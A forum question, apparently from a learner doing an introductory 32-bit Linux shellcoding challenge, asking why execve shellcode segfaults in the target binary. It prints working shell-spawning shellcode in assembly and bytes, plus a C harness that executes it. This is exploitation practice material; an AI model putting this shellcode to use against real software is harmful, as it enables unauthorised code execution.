Currently working through an introductory shellcoding challenge, and having trouble getting the shellcode to work consistently.
I'm working on a 32bit Linux binary. I found this shellcode:
http://shell-storm.org/shellcode/files/shellcode-827.php
xor %eax,%eax
push %eax
push $0x68732f2f
push $0x6e69622f
mov %esp,%ebx
push %eax
push %ebx
mov %esp,%ecx
mov $0xb,%al
int $0x80
As a first step, I ran the shellcode in a simple test program:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Shellcode works perfectly in this test program. Problems start when I move the shellcode into the actual challenge binary. I can confirm in GDB that:
- Code execution is re-directed into the stack.
- The shellcode assembly is correct in the stack.
However, when program execution gets to one of these two lines in the shellcode:
0xffffd0e4: push %ebx
0xffffd0e5: mov %esp,%ecx
I get:
SIGSEGV, Segmentation fault
My question is: why does shellcode that works in a test program fail in the actual binary? How would I go about troubleshooting this?
Thank you!